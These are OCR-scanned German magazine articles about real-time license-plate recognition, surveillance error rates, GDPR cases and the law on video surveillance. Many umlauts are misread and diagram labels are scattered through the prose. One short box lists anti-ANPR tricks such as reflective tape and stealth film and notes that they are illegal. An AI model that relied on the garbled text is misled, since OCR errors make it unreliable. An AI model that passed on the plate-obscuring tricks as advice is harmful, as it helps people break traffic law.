Rahmen (Bounding Boxes) zu markieren:
Zunichst trafen sie grobe Vorhersagen

Funktionsweise eines Echtzeit-Kennzeichenscanners

Maut- und Uberwachungssysteme verarbeiten die
Videos und Bilder in vier Schritten. Zunachst werden
alle Ausschnitte extrahiert, in denen ein Echtzeit-Ob-
. Anhand dieser

jektdetektor Fahrzeuge erkannt hat

Daten
(von Verkehrskameras
aufgenommen)

Videosequenzen / Bilder

typen

ermitteln weitere Erkennungsalgorithmen die Fahrzeug-
und extrahieren die Nummernschilder

Eine Zeichenerkennung (OCR) interpretiert die Formen
und macht daraus maschinenlesbaren Text

alle Fahrzeug- |
Ausschnitte |

Fahrzeugdetektor
erkennt alle
Fahrzeuge im Bild

(Patches) |

Kennzeichendetektor
markiert in jedem Patch
das Kennzeichen

| alle Kennzeichen-
| Ausschnitte
|

Zeichenerkennung
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Fahrzeugtyp-
Klassifikator klassifiziert
jedes Fahrzeug (Laster,

Notarzt et cetera)

erkennt alle Zeichen
in den Kennzeichen-
Patches
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dartiber, in welchen Bildbereichen rele-
vante Gegenstinde oder Personen vor-
handen sein konnten. Im zweiten Durch-
gang wurden diese Vorhersagen verfei-
nert. YOLO v1 benotigte hingegen nur
einen einzigen Durchgang, um potenziell
passende Pixelansammlungen aufzuspii-
ren und die Bounding Boxes zu ziehen,
was die Berechnungszeit drastisch redu-
zierte. Das 2022 ver6ffentlichte YOLO v7
ist eines der schnellsten und prézisesten
Objekterkennungsmodelle fiir Computer-
Vision-Anwendungen. Der schnellste De-
tektor ist derzeit das 2021 veroffentlichte
YOLOR (You only learn once), das stark
generalisierte Reprasentationen lernt und
auf dieser Grundlage verschiedene spezi-
fische Erkennungsaufgaben ausfiithren
kann. Weitere gute Echtzeit-Algorithmen
sind Mask-RNN, R-CNN und SSD, mehr
dazu siehe ct.de/y9tp.

Alle Phasen ihrer Echtzeit-Nummern-
schilderkennung haben die Forscher mit
maschinell trainierten Verfahren umge-
setzt, drei davon mit einer der YOLO-Ver-
sionen: Zunéchst spiirt YOLO v2 alle Fahr-
zeuge im Bild auf, anschliefdend bestimmt
ein klassisches Konvolutionsnetzwerk
(ResNet50) die Wagentypen. Ein schlan-
kes YOLO v4 tiny extrahiert die zugehori-
gen Nummernschilder und ein YOLO v4
interpretiert die darauf abgebildeten Zei-
chen. Doch auch ein YOLO-Detektor ist
nur so gut wie die Daten, mit denen er
trainiert wurde, wie die Autoren betonen.
Wihrend die beiden ersten Phasen kaum
Anspriiche an die Trainingsdaten stellen
und nahezu fehlerfrei durchlaufen, ben6-
tigt man fir die beiden letzten sehr viel-
faltiges, kuratiertes Material, damit das
System auch unter realistischen Bedin-
gungen halt, was es im Labor verspricht.

Ein haufiges Problem: Viele Systeme
werden mit allzu (linder-)spezifischen
Daten trainiert und knifflige Fille dann
iiber hinzuprogrammierte Regeln und

Quelle: Al-batat et al

Damit Kennzeichen-
Scanner lernen, mit
seltenen und leicht
verwechselbaren
Glyphen wie ,,G” oder
,O“ umzugehen, trai-
niert man sie mit ma-
nipulierten Num-
mernschildern, in
denen Originalzei-
chen zuféllig durch
solche Glyphen er-
setzt wurden.

Routinen abgefangen. Leicht verwechsel-
bare Glyphen wie ,,0“ und ,,0“ etwa wer-
den in eine gemeinsame Klasse gesteckt
und anschlieflend abhingig von ihrer
Position als Buchstabe oder Ziffer inter-
pretiert. Solche linderspezifischen Regeln
scheitern spitestens an auslidndischen
Kennzeichen. Die britischen Wissen-
schaftler hingegen behandeln jedes Zei-
chen als eigene Klasse. Damit ihr Mus-
tererkenner lernt, moglichst alle weltweit
vorkommenden Schildervarianten korrekt
zu interpretieren, nahm die Gruppe rund
um Al-batat fiinf giangige Datensitze als
Basis. Daraus generierten sie auf3erdem
kiinstliches Trainingsmaterial, indem sie
einzelne Glyphenin den Originalschildern
durch seltene oder schwer erkennbare Zei-
chen ersetzten, siehe Bild oben.
Zusatzlich wurde jedes Trainings-
Sample dupliziert und mit einer von drei
Techniken verfremdet, um natiirliche Va-
riationen zu simulieren: Entweder wird ein
kiinstlicher Schatten zufillig tiber den
Ziffern platziert oder eine partielle Far-
bung angewendet, wie sie auch unter Son-
nenlicht auftreten konnte. Als Drittes
kommen Unschérfefilter zum Einsatz, um
die Effekte von hoher Geschwindigkeit,
ungiinstigen Winkeln et cetera nachzuah-
men. Insgesamt kommen auf diese Weise
knapp 17.000 Samples zusammen.

Das Ergebnis ist eine deutlich robus-
tere Kennzeichenerkennung, die in freier
Wildbahn besser durchblickt, auch wenn
ihr einungewdchnlich gestaltetes Kennzei-
chenvordie Linse lduft. Im Schnitt soll das
System fiir die gesamte Pipeline eine Ge-
nauigkeit (Accuracy) von 90 Prozent er-
reicht haben. Das bedeutet: 90 von 100
Fahrzeugen hat es korrekt identifiziert.
Die zehn Versager enthalten bei diesem
Fehlermaf alle Arten von Fehlern: nicht
markierte oder falsch klassifizierte Autos,
nicht lokalisierte Nummernschilder und
eben nicht erkannte oder falsch interpre-
tierte Ziffern. Den grofiten Anteil haben
die drei letzten Fehlertypen.

Fehler unter Kontrolle

Je besser sich die Umstande kontrollieren
lassen, umso besser ist die Erkennungs-
quote. Ein System mit sehr hochauflosen-
den Kameras andeniiberdachten Ein-und
Ausfahrten eines Parkhauses kann durch-
aus mehr als 95 Prozent Genauigkeit er-
reichen, weil der Betreiber hier eine gute,
gleichmafige Ausleuchtung sicherstellen
kann. Elektronischen Mautsystemen
(ETC) bescheinigen Experten eine Genau-
igkeit von bestenfalls 85 bis 90 Prozent,
weshalb die Technik hier eher als Ergin-
zung zu Transpondern gesehen wird, siche
dazu auch den detaillierten, 2007 verof-
fentlichten Report ,,Technology Scan for
Electronic Toll Collection®, den das Ken-
tucky Transportation Center zusammen
mit der University of Kentucky verfasst
hat. Alle Studien und Quellen haben wir
unter ct.de/y9tp verlinkt.

Vor allem fiir Massenscreenings beno-
tigen die Betreiber deshalb ein effizientes
Fehlermanagement, dasnicht nur die glas-
klaren Versager ausleitet und einem manu-
ellen Priifer vorlegt. Es muss auch in der
Lage sein, einen Grofdteil der unsicheren
Kandidaten herauszufischen, bei denen das
System moglicherweise Zeichen falsch in-

Original (Shadow) Augmented

(Bright blobs)

(Blur)

Schlechte Witterung,
Reflexionen und ande-
re ungiinstige Verhalt-
nisse simulieren die
Forscher mit Bildbe-
arbeitungsfiltern:
Schatten, liberstrah-
lende Farbe und
Weichzeichner.
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terpretiert hat. Dazuwerden die von einem
Maut- oder Parksystem erfassten Kennzei-
chen beispielsweise nach Konfidenzlevel
sortiert, in dessen Berechnung einflief3t, ob
der Scanner alle Zeichen klar erkannt oder
vielleicht das O lediglich knapp gegentiber
der O favorisiert hat. Auch externe Faktoren
wie etwa die Witterungsbedingungen oder
die Bildqualitat konnen in solche Berech-
nungen einflief3en.

Um die manuelle Sichtung zu be-
schleunigen, muss die Software das auf-
genommene Bild sowie alle erkannten
beziehungsweise ermittelten Fahrzeug-
details moglichst klar und tibersichtlich
aufbereiten. Ein Mensch kann dann rasch
vergleichen, ob die ANPR einen Fehler ge-
macht hat oder nicht, und diesen gegebe-
nenfalls korrigieren, bevor ein falscher
Gebiihrenbescheid herausgeht. Manche
Dienstleister agieren hier relativ kulant,
indem sie schwer entscheidbare Fille ad
acta legen oder ein funktionierendes Be-
schwerdemanagement aufbauen. Andere
versuchen, durch einen moglichst hohen
Automatisierungsgrad ihren Gewinn zu
maximieren.

Ob aus einer technisch bedingten Un-
genauigkeit ein Problem wird oder nicht,
ist also haufig eine Frage des Geschifts-
modells: Viele sogenannte Parkraumbe-
wirtschafter verdienen ihr Geld vor allem
iiber hohe Vertragsstrafen, weil sie den
Parkplatzbesitzern ihre Dienste kostenlos
anbieten. Mitunter vermieten sie die Park-
flachen auch aufderhalb der Geschiftszei-
ten an Anwohner oder verkaufen Daten-
analysen fiir Marketingzwecke.

Datenschutz-Algorithmen

Das Uberwachen von Parkflichen oder
eine Fahndung per Kennzeichenscanner
ist zwar datenschutzrechtlich heikel, aber
nicht per se verboten. Allerdings kommen
die Betreiber von Uberwachungskameras
immer wieder mit dem Gesetz bezie-
hungsweise mit den Datenschutzbeauf-
tragten in Konflikt, weil sie entweder zu
viele personenbezogene Daten erheben,
also gegen das Gebot der Datensparsam-
keit verstofden, oder diese auch fiir andere
Zwecke verwenden.

Damit solche Begehrlichkeiten gar
nicht erst entstehen und um zu verhin-
dern, dass sensible Daten Hackern in die
Hinde fallen, gibt es eine ganze Reihe von
Anonymisierungstechniken, die sich in
Echtzeit aufdas Videomaterial anwenden
lassen. Bei der Parkraumiiberwachung
beispielsweise miissen Personen und der
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offentliche Bereich (angrenzende StrafSe,
Gehweg et cetera) bereits unwiderruflich
unkenntlich gemacht werden, bevor die
Aufzeichnung gespeichert wird. Dabei
kommen ebenfalls Echtzeit-Objekterken-
nungsalgorithmen zum Einsatz: Sie mar-
kieren alle Bildbereiche, die zu Gesichtern
gehoren, und firben sie schwarz oder ver-
pixeln sie. So landen personenbezogene
beziehungsweise biometrische Daten gar
nicht erst auf dem Server des Dienstleis-
ters. Auch die Laufwege von Kunden las-
sen sich so DSGVO-konform verfolgen:
Der Algorithmus trackt lediglich die zuvor
anonymisierte Person.

Das hessische Parkraumbewirtschaf-
tungsunternehmen Parkvision beispiels-
weise sah sich dem Vorwurf ausgesetzt,
gegen die DSGVO zuverstofden. Im Raum
stand vor allem der Verdacht, dass es zur
Laufwegeerkennung auch den o6ffentli-
chen Bereich filmt und personenbezogene
Daten nicht ausreichend anonymisiert,
woraufhin der Hessische Beauftragte fiir
Datenschutz und Informationsfreiheit
(HBDI) aktivwurde. Parkvision spielte auf
Zeit und hielt den HBDI so lange mit diir-
ren Informationen hin, bis dieser drohte,
den Weiterbetrieb des Systems zu unter-
sagen. Zum Zeitpunkt der dazu stattfin-
denden Anhorung hatte Parkvision die
Technik allerdings nachgebessert. Der
HBDI halt die Anlage nun fiir DSGVO-
konform, nannte aber gegeniiber ¢’t mit
Verweis auf das Geschifts- und Betriebs-
geheimnis keine Details zur eingesetzten
Technik oder den Fehlerraten. Von einer
Untersagung des Weiterbetriebs sah die
Behorde ab, leitete aber ein Ordnungswid-
rigkeitsverfahren ein, weil Parkvision
nicht angemessen kooperiert habe.

Bei Mautsystemen wiederum fallen
naturgemafd sehr detaillierte Ortsdaten
an, insbesondere wenn der Staat die Ge-
biihren besonders ,fair oder nach 6ko-
logischen Gesichtspunkten erheben
mochte: also nicht nur pauschal fiir einen
gewissen Zeitraum oder nach Strecke,
sondern zusatzlich nach Schadstoffaus-
stof3, Grofie, Tageszeit et cetera. Die vielen
einzelnen Datenpunkte verdichten sich
dann hiufig zu einem umfangreichen Be-
wegungsprofil auf dem Server des Betrei-
bers, und nicht jeder geht damit verant-
wortungsvoll um. Im September 2021
musste etwa der norwegische Mautbetrei-
ber Ferde 5 Millionen NOK, also knapp
500.000 Euro Strafe zahlen, weil er Bilder
von Zahlungskarten und Nummernschil-
dern zur Verarbeitung an einen chinesi-
schen Dienstleister iibertragen hatte.

Ferde betreibt die Mautstationen in
den Regionen Vestland, Rogaland und
Agder. Thr System fotografiert die Kenn-
zeichen von Autos, die keinen Prepaid-Sti-
cker an der Windschutzscheibe haben.
2020 hatte der norwegische Fernsehsen-
der NRK herausgefunden, dass die Kenn-
zeichen, die das System nicht automati-
siert verarbeiten konnte, an einen chine-
sischen Dienstleister geschickt wurden,
der sie manuell abglich: Zwischen 2017
und 2019 seien 2,5 Millionen Fotos jahr-
lich dorthin {ibertragen worden. Informa-
tionen dartiiber, wer sich wann wo authielt,
aufler Landes zu geben, stufte die norwe-
gische Datenschutzbehorde alsillegal ein.

Ferde kiindigte den Vertrag mit dem
chinesischen Dienstleister, zahlte die Stra-
fe -und legte die hohen Ausgaben auf die
norwegischen Autofahrer um, indem es
die Mautgebtihren anhob. Somit schlief3t

Jpark vision Hame

IHR KOSTENFREIER
START MIT DIGITALER
PARKRAUMAUFSICHTUND

WTIFIZIERUNG

Sogenannte Parkraumbewirtschafter wie Parkvision bieten Geschéftsleuten oft
kostenlos an, ihre Parkplatze zu iiberwachen. Dabei scannen sie nicht nur Nummern-
schilder, sondern kontrollieren auch per Laufwegetracking, ob eine Person

tatsiachlich den Laden betritt.
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sich also der Kreis und man landet ganz
schnell wieder bei der Frage, welche Tra-
cking-Systeme sich unter welchen Um-
stinden iiberhaupt wirtschaftlich, sicher
und effizient betreiben lassen.

Zu ungenau, zu unsicher?

Grundsatzliche Bedenken gegeniiber der
auch in Grof3britannien weit verbreiteten
ANPR-Technik duferte sogar derim Okto-
ber 2023 aus dem Amt geschiedene Terro-
rismus-und Security-Experte Fraser Samp-
son, der dem Vereinigten Konigreich zwei
Jahre lang als Commissioner fiir Biometrie
und Uberwachungskameras diente. In sei-
nem offenen Abschiedsbrief richtete er
einen dringlichen Appell an seinen Nach-
folger, die in seinen Augen viel zu ungenau-
en sowie fehler- und betrugsanfilligen
ANPR-Systeme durch eine modernere und
verlasslichere Technik zu ersetzen.

Er kritisierte, dass die ANPR allen
technischen Fortschritten zum Trotznach
wie vor von einem Stiick Plastik abhange,
dasleicht zu manipulieren oder gar zu fal-
schen sei. Einer neueren Schitzung zufol-
geverwende einer von 15 Fahrern in Grof3-
britannien Anti-ANPR-Technik wie etwa
Stealth-Nummernschilder oder reflektie-
rendes Klebeband, um die Schrift unlesbar
zu machen, siehe Kasten unten. Zugleich
werde die ANPR ein immer wichtigeres
Instrument fiir die Strafverfolgung und die
strategische Verkehrsplanung und -steue-
rung.

Tarnen und tricksen

Im Internet kursieren allerhand Tipps und
Gadgets, wie man sich dem Kennzeichen-
Tracking entziehen kann. Dazu gehoren
reflektierende Klebestreifen oder LED-
Leuchtstreifen, die strategisch giinstig auf
dem Schild platziert werden. Angepriesen
wird auch Tarnkappenfolie, die das ge-
samte Schild tberdeckt und fir Infrarot-
kameras unsichtbar machen soll. Ob sol-
che Mittel tatsachlich wie erhofft wirken,
ist fraglich. Denn bessere Systeme kom-
binieren mehrere Kameras und Sensoren,
etwa eine Bild- mit einer Infrarotkamera.
In den meisten Landern und auch in
Deutschland sind Praktiken, die das Ab-
lesen erschweren, auBerdem verboten.
Laut § 10 der Fahrzeug-Zulassungs-
verordnung (FZV) darf am Kennzeichen
nichts angebracht oder verandert wer-

Die Genauigkeit der aktuellen Systeme
hélt Sampsonin diesen Anwendungsszena-
rien fiir nicht akzeptabel. Er rechnete vor,
dass ,aus der Nutzung dieser Uberwa-
chungstechnologie die grofite nicht-milita-
rische Datenbank in GrofSbritannien ent-
standen ist", mit ungeféhr 15.400 von Ka-
meras iiberwachten Verkehrsspuren. Diese
lieferten derzeit 75 bis 80 Millionen Lese-
vorgénge pro Tag. ,,Selbst wenn die Systeme
mit einer Genauigkeit von 97 Prozent arbei-
ten wiirden, bedeutet dies, dass sie taglich
immer noch 2,4 Millionen fehlerhafte Er-
gebnisse produzieren. Mit der Verarbei-
tung derartungenauer Daten setze der Staat
die unbescholtenen Biirger einem zu hohen
Risiko aus und breche moglicherweise auch
Datenschutzgesetze, so Sampsons Fazit.

In Deutschland gibt es (noch) kein
feingranulares elektronisches Pkw-Maut-
system wie in Norwegen oder Grof$britan-
nien, geschweige denn eine mit UK ver-
gleichbare Echtzeit-Videoiiberwachung,
diejaauch Gesichter und ungewohnliches
beziehungsweise verdichtiges Verhalten
zu identifizieren verspricht und mit wis-
senschaftlich zweifelhaften Verfahren wie
der Emotionserkennung experimentiert.

Die hierzulande fiir Lkws installierten
Anlagen erfassen zwar Pkw-Kennzeichen,
diirfen aber nicht fiir die polizeiliche Fahn-
dung zweckentfremdet werden. Dennoch
gibt es immer wieder Versuche, solche
Systeme zuinstallieren: den Kennzeichen-
abgleich ,,Kesy" zur Gefahrenabwehr bei

den, was zu Verwechslungen flihren
konnte. Das Kennzeichen muss jederzeit
ohne Schwierigkeiten ablesbar sein. Wer
dies verhindert, muss mit Konsequenzen
rechnen:

Das Uberkleben oder Verandern des
Kennzeichens kann als Kennzeichenmiss-
brauch gewertet werden. Gemal § 22
Absatz 3 des StraBenverkehrsgesetzes
(StVG) droht daflir sogar eine Geld- oder
Freiheitsstrafe bis zu einem Jahr.

Selbst wenn keine Straftat vorliegt,
wird das Uberkleben des Kennzeichens
als Ordnungswidrigkeit geahndet. Es
droht ein BuBgeld von bis zu 65 Euro.

Durch das Uberkleben oder Veran-
dern kann das Kennzeichen seine Gliltig-
keit verlieren, was zu weiteren rechtli-
chen Konsequenzen flihren kann.

schweren und schwersten Straftaten in
Brandenburg etwa, ,,Section Control® zur
Geschwindigkeitsmessungin Niedersach-
senoder die 2019 zur Schleierfahndung in
Bayern und Baden-Wiirttemberg einge-
setzten mobilen und stationdren Scanner.

Besonders weit geht der Freistaat
Sachsen mit seinem ,,Personen-Identifi-
kationssystem® (PerIS), das es eigens von
der Firma Opto Precision entwickeln liefs,
um an der deutsch-polnischen Grenze
Eigentumsdelikte zu verfolgen. Dazu wer-
den Kennzeichen gescannt und mit zur
Fahndung ausgeschriebenen Fahrzeugen
verglichen. Auch Fufdginger erfasste die
Polizei per Echtzeit-Gesichtserkennung.
Um das System betreiben zu konnen, hatte
die Landesregierung eigens den Paragraf
59 des sachsischen Polizeivollzugsdienst-
gesetzes gedndert. Deshalb darf sie seit
2019 schwerer grenziiberschreitender
Kriminalitit mit dem ,,Einsatz technischer
Mittel“ begegnen.

Die bis zum 31. Dezember 2023 be-
fristete Regelung sollte nach drei Jahren
vom Forschungsinstitut fiir 6ffentliche
Verwaltung in Speyer evaluiert werden.
Anhand dieser Untersuchung zog die Lan-
desregierung das Fazit, dass der ,,techni-
sche und personelle Aufwand sehr groR“
gewesen sei, und verlangerte die Geset-
zesnorm nicht weiter. Gleichzeitigwurden
Mitte Dezember 2023 weitere stationdre
Scanner installiert.

Auch die in Bayern und Baden-Wiirt-
temberg fiir die Schleierfahndung einge-
setzten und spiter teilweise verbotenen
Kennzeichenscanner produzierten offen-
bar unverhéltnismafig viele Fehler und
hohe Kosten: Selbst unter den Treffern
fanden sich nur wenige Falle, die mit
schwerer oder organisierter Kriminalitat
in Verbindung standen. Dieses Bild zeich-
nete das Newsportal Buzzfeed anhand
mehrerer kleiner Anfragen, die Abgeord-
nete an die jeweiligen Landesregierungen
gestellt hatten.

Eine unabhingige Evaluierung von
KI-Systemen findet bislang meist nicht
statt, und das wirft die grundsitzliche
Frage auf, wie die immer wieder geforder-
te und beschworene Transparenz solcher
Algorithmen denn in der Praxis erreicht
werden soll. Eine Orientierung, was Be-
treiber von Uberwachungskameras fil-
men, auswerten und sammeln diirfen und
was nicht, gibt unser Rechtsartikel auf
Seite 90. (atr@ct.de) ct

Studien und Quellen: ct.de/y9tp
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/ heise academy

Maschinelles Lernen
leicht gemacht!

Webinar-Serie ,Einfuhrung in
Machine Learning mit Python*

Kl und Machine Learning sind aus der
heutigen IT-Welt nicht mehr wegzuden-
ken. Wer den Einsatz von maschinel-
lem Lernen flir eigene Projekte priifen
und umsetzen mochte, erhalt in dieser
Webinar-Serie einen Uberblick sowohl
tiber die Grundlagen als auch tiber die
Grenzen der kinstlichen Intelligenz.

Eigene Programmieriibungen in Python
werden mit Theorie, Demonstrationen,
und Hands-on-Experimenten abwechs-
lungsreich unterstiitzt.

27. August 3. September 10. September
Python-Grundlagen und Datenaufbereitung und Grundlagen und iiberwach-
Datenaufbereitung mit -visualisierung mit pandas tes Lernen mit scikit-learn
NumPy und pandas und Matplotlib

17. September 24. September

Entscheidungsbaume, Deep Learning: Kiinstliche

uniiberwachtes und neuronale Netze mit Keras

bestarkendes Lernen und TensorFlow

Jetzt Kombi-Rabatt sichern: EEGE
heise-academy.de/webinare/mlpython124 [
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Rechtlicher Sichtschutz

Videoliberwachung: Was erlaubt ist und was nicht

Aktuelle Uberwachungssysteme
werten mithilfe kiinstlicher Intel-
ligenz Aufnahmen automatisch
aus. Damit beginnt ein neues
Zeitalter der Masseniiberwa-
chung. Der Gesetzgeber bemiiht
sich um einen Interessenaus-
gleich: Sicherheitsbediirfnisse
der Uberwachenden kollidieren
mit dem Privatspharenschutz
der Uberwachten.

Von Joerg Heidrich

eraufmerksam durch eine Stadt
geht, bemerkt vielerorts offen
installierte Beobachtungska-

meras. Hinzu kommt eine unbekannte
Zahl versteckt angebrachter Kameras.
Unter den Betreibern sind staatliche Stel-
len, die beispielsweise Ministerien oder
Kasernen mit Cams tiberwachen. Aber
auch viele private Unternehmen erfassen
interne oder 6ffentlich zugéngliche Be-
reiche wie Bahnhofe, Geschiftseinginge
oder Parkplitze. Und damit nicht genug:
Auch in den Hianden von Privatpersonen
finden sich zahlreiche Uberwachungs-
kameras, die von Autos, Tirsprechstellen
und sogar Miahrobotern aus filmen.

Aus juristischer Sicht kollidiert diese
Uberwachungswut mit der Idee der infor-

mativen Selbstbestimmung, welche die
Grundlage des Datenschutzes darstellt.
Gerade im Bereich der privaten Uberwa-
chung gibt es inzwischen Hunderte Ent-
scheidungen der europiischen Aufsichts-
behorden, welche in den allermeisten
Fillen einen Datenschutzverstof3 feststel-
len und diesen sanktionieren. Allein die
Bufdgelddatenbank unter dsgvo-portal.de
findet zu dem Stichwort Video 450 Ein-
triage. Die verhingten Einzelbetrige rei-
chen bis zu 10 Millionen Euro.

Diese beziehen sich jedoch meist auf
reine Film- und Bildaufnahmen. Die sich
rasant entwickelnde Technik ermoglicht
es inzwischen, diese Bilder mit hoherer
Auflosung zu erfassen und biometrisch
auszuwerten. Zudem entstehen durch den
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Einsatz von KI vollig neue Moglichkeiten
der Datenerfassung, -verkniipfung und
-verarbeitung. Allerdings ist die Rechts-
lage schon bei der reinen Bilderfassung
nicht einfach.

Das sagt die DSGVO

In Deutschland gab es zunéchst eine Vor-
schrift im alten Bundesdatenschutzgesetz
(BDSG), die parallel zur europiischen Da-
tenschutzgrundverordnung (DSGVO) exis-
tierte und die Videotiberwachung regelte.
Paragraf 4 des BDSG enthielt detaillierte
Regelungen fiir offentlich zugingliche
Réiume. Diese Vorschrift wurde jedoch An-
fang 2019 vom Bundesverwaltungsgericht
(BVerwG) fiir rechtswidrig erklart.

Die Frage der Rechtmafligkeit einer
Videotiberwachungrichtet sich daherinder
Regel nach Artikel 6 Absatz 1 Buchstabe f
DSGVO, der die Verarbeitung personen-
bezogener Daten zur Wahrung berechtigter
Interessen gestattet. Es handelt sich um
eine recht komplexe Vorschrift, die eine
Abwigung zwischen den Interessen des
Verantwortlichen und den Grundrechten
der iberwachten Personen erfordert.

Diese Abwigung verlangt aufseiten
des Kamerabetreibers zunachst ein soge-
nanntes berechtigtes Interesse. Die An-
forderungen dazu sind nicht allzuhoch. Es
muss ein legitimes Interesse des Verant-
wortlichen oder eines Dritten vorliegen,
das mit der Videoiiberwachung verfolgt
wird. Typische berechtigte Interessen sind
beispielsweise der Schutz vor Einbruch,
Diebstahl oder Vandalismus oder die Ge-
wihrleistung der Betriebssicherheit.

So besteht an der Uberwachung von
Orten mit erh6htem Risiko, wie zum Bei-
spiel im Eingangsbereich von Banken,
Tankstellen oder auch im Umfeld von
potenziell gefihrlichen Produktionsanla-
gen, ein im Rahmen der Abwigung hoch
zu bewertendes Interesse. Fiir die Auf-
zeichnung des eigenen Vorgartens, um
spielende Nachbarskinder zu vertreiben,
istdas Interesse an der Uberwachung aber
viel niedriger zu bewerten. Auch bei einer
Tankstelle ist zwar die Uberwachung des
Bereichs der Zapfsaulen von erheblichem
Interesse, nicht aber eine Kamera, die den
Zugang zu den Toiletten erfasst, um Nicht-
kunden fernzuhalten.

Interessena bwagung

Zweitens muss die Uberwachung erforder-
lich sein, um das verfolgte Ziel zu erreichen.
Es darf dazu kein milderes, ebenso wirksa-
mes Mittel zur Verfligung stehen. Wenn ein
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Supermarktbetreiber dasnichtliche Falsch-
parken auf seinem Parkplatz verhindern
will, braucht er keine Kamera, eine Schran-
ke tut es auch. Und Besucher einer Veran-
staltung lassen sich auch durch manuelle
Zahlung erfassen statt mit einer Kamera.

Bestehen ein berechtigtes Interesse
und eine Erforderlichkeit, muss man im
letzten Schritt die Interessen des Kamera-
betreibers gegen die Rechte der Betroffe-
nen abwégen. Deren Interessen wiegen
umso schwerer, je starker und invasiver
die Uberwachung in ihr Leben eingreift.
Im Beispiel der Tankstelle hatte das Recht
der Mitarbeiter Vorrang, wenn ihr Arbeits-
bereich standig von Kameras erfasst wird,
etwa an der Kasse. Anders ist dies bei der
Uberwachung der Zapfsiulen zu beurtei-
len: Hier halten sich die Mitarbeiter nur
kurzfristig auf.

Solange die Interessen des Kamera-
nutzers eher geringen Schutzanspruch
haben, iberwiegen in der Regel die Rech-
te der Betroffenen. Wer den eigenen Pkw
vor der Haustiir im 6ffentlichen Raum
iiberwacht, hat daran zwar durchaus ein
berechtigtes Interesse. Dennoch tiberwie-
gen hier eindeutig die Rechte der Passan-
ten und Nachbarn, auch wenn diese nur
gelegentlich erfasst werden.

Gleiches gilt fiir die Erfassung des Ver-
kehrs vor dem eigenen Haus. Solche pri-
vaten Verkehrszahlungen kann man aller-
dings mit technischen Mafinahmen retten:
Der Hausbesitzer konnte zum Beispiel den
zu scannenden Bereich mit einer so nied-
rigen Auflosung erfassen, dass keine Fah-
rer, Passanten und Kfz-Kennzeichen mehr
zu erkennen sind.

Datenschutz durch Technik

In vielen Féllen ist die Abwigung aber
schwieriger. Wenn ein Unternehmen sei-
nen Eingangsbereich mit Kameras tiber-

_—

Visible camera

wacht, weil es wiederholt zu Diebstidhlen
kam, steht diesem Interesse das der Mit-
arbeiter gegentiber, beim Kommen und
Gehen nicht iberwacht zuwerden. Oft sind
iiber kleine technische oder organisatori-
sche Anderungen datenschutzfreundliche
Umsetzungen moglich. So konnte manden
Blickwinkel der Kamera dndern und durch
ein Objektiv mit hcherer Brennweite den
erfassten Bereich verkleinern.

Nach dem Konzept des kleinstmdg-
lichen Eingriffs in die Privatsphére arbeiten
beispielsweise auch Hersteller wie Mit-
subishi Electric, die zur automatischen
Steuerung von Klimaanlagen und Beliif-
tungssystemen keine Kameras, sondern
niedrig auflosende Infrarotsensoren ein-
setzen, auf deren Bildern man keine Perso-
nen erkennen kann.

Auswirken kann sich auch die Frage,
ob Videos nur live ibertragen oder auch
aufgezeichnet werden. Relevant ist dabei,
wie lange die Aufzeichnungen gespeichert
bleiben und wer darauf Zugriff hat. Schlief3-
lich kann es auch eine Rolle spielen, ob die
Betroffenen mit einer Uberwachung rech-
nen. In der Vergangenheit wurde dies fiir
Tankstellen, Banken, Kaufhduser oder 6f-
fentliche Verkehrsmittel bejaht. Ganz
anders sieht es in den Innenrdumen von
Hotels oder Restaurants, in Schulen, in
Schwimmbidern und sanitdren Anlagen
aus. Hier tiberwiegen meist die schutzwiir-
digen Interessen der Betroffenen.

In seltenen Fillen kann auch die Ein-
willigung als Rechtsgrundlage fiir die Vi-
deotiberwachung dienen. Dazu muss je-
doch jede betroffene Person einzeln ge-
fragt und genau dariiber informiert wer-
den, was geplant ist. Denkbar wire dies
beispielsweise bei geschlossenen Veran-
staltungen, wo die Einwilligungen etwa fiir
Fotoaufnahmen im Rahmen des Karten-
verkaufs vorab eingeholt werden.

Infrarot statt Video: Mitsubishi Electric hat einen kleinen Infrarotsensor namens
MelDIR entwickelt, der mit seinen 80 x 60 Pixel groBen Aufnahmen die Anwesen-
heit von Menschen registriert, ohne sie personlich erkennbar zu machen.
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10 Millionen Euro BuB3geld

Wie ernst Firmen die Vorgaben der
DSGVO nehmen sollten, zeigt der Fall
eines Computerhidndlers von 2021. Die
Datenschutzbehorde stellte fest, dass das
Unternehmen {iber einen Zeitraum von
mindestens zwei Jahren eine umfassende
Videotliberwachung seiner Mitarbeiter
durchgefiihrt hatte, ohne dass es dafir
eine Rechtsgrundlage gab. Die Uberwa-
chung erstreckte sich auf Arbeitsplitze,
Verkaufsraume, Lager und Aufenthalts-
bereiche. Selbst Kunden waren betroffen,
da einige Kameras auf Sitzgelegenheiten
im Verkaufsraum gerichtet waren.

Die niedersachsische Datenschutzbe-
horde lief? die Begriindung des Unterneh-
mens, die Videoliberwachung diene der
Verhinderung und Aufkldrung von Straf-
taten sowie der Kontrolle des Warenflusses,
nicht gelten. Die Behorde stellte klar, dass
eine Uberwachung zur Straftataufklirung
nur in begrenztem Umfang und bei konkre-
tem Verdacht gegen bestimmte Personen
zuldssig sei. Erschwerend kam hinzu, dass
die Aufzeichnungen in vielen Fillen 60
Tage gespeichert wurden. Dies ging weit
tiber das erforderliche Maf hinaus.

Aufgrund dieser Verstofle verhangte
die Datenschutzbehorde ein Bufigeld in
Hohe von 10,4 Millionen Euro. Dies ist
eines der hochsten Bufdgelder, die in
Deutschland bisher wegen Datenschutz-
verstoflen verhingt wurden. Der Fall ist
allerdings noch nicht beendet und wird vor
Gericht verhandelt. Inder Regel fallen die
Bufdgelder deutlich geringer aus und be-
wegen sich bei kleineren Unternehmen

und Privatpersonen meistim unteren vier-
stelligen Bereich.

Staatliche Uberwachung
Fiir den Bereich der Polizei und der Sicher-
heitsbehorden hat der europiische Gesetz-
geber parallel zur DSGVO eine eigene
Richtlinie erlassen, die sogenannte JI-
Richtlinie. Diese wurde in Deutschland in
einem Kapitel des neuen BDSG umgesetzt.
Erginzend sind zahlreiche spezialgesetz-
liche Normen entstanden, die die Video-
tiberwachung durch Behdrden regeln.
Sobestimmt § 27 Bundespolizeigesetz
(BPolG), dass gespeicherte personenbe-
zogene Daten unverziiglich zu vernichten
sind, soweit sie nicht zur Abwehr einer
gegenwirtigen Gefahr oder zur Verfol-
gung einer Straftat oder Ordnungswidrig-
keit benotigt werden. § 27a BPolG enthilt
eine Regelung zu Body-Cams, mit denen
Beamte der Bundespolizei konkrete Ein-
satzsituationen aufzeichnen konnen. Wei-
tere Regelungen finden sich in den Polizei-
gesetzen der Linder.

